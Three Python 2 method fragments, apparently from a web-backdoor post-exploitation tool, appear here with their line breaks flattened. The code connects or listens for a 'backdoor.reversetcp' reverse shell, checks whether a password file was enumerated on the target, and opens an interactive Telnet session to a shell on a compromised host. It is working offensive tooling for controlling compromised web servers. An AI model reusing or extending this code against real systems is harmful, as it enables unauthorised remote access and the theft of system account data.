def connect_socket(self): if (self.connect): self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.connect((self.hostname, self.port)) else: server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: server.setsockopt(socket.SOL_SOCKET, socket.TCP_NODELAY, 1) except socket.error: #print("Warning: unable to set TCP_NODELAY...") pass try: server.bind(('localhost', self.port)) except socket.error, e: raise ProbeException('backdoor.reversetcp', '%s %s' % (WARN_BINDING_SOCKET, str(e))) server.listen(1) server.settimeout(3) try: self.socket, address = server.accept() except socket.timeout, e: server.close() raise ExecutionException('backdoor.reversetcp', 'timeout')
def __verify_vector_execution(self): pwdfile = '' if self._result: response_splitted = self._result.split('\n') if response_splitted and response_splitted[0].count(':') >= 6: raise ProbeSucceed(self.name, 'Password file enumerated') else: raise ExecutionException(self.name, 'Enumeration execution failed')
def _verify_vector_execution(self): if not self.args['no_connect']: urlparsed = urlparse(self.modhandler.url) if urlparsed.hostname: try: Telnet(urlparsed.hostname, self.args['port']).interact() except error, e: self._result += '%s: %s\n' % (self.current_vector.name, str(e)) raise ExecutionException(self.name, str(e))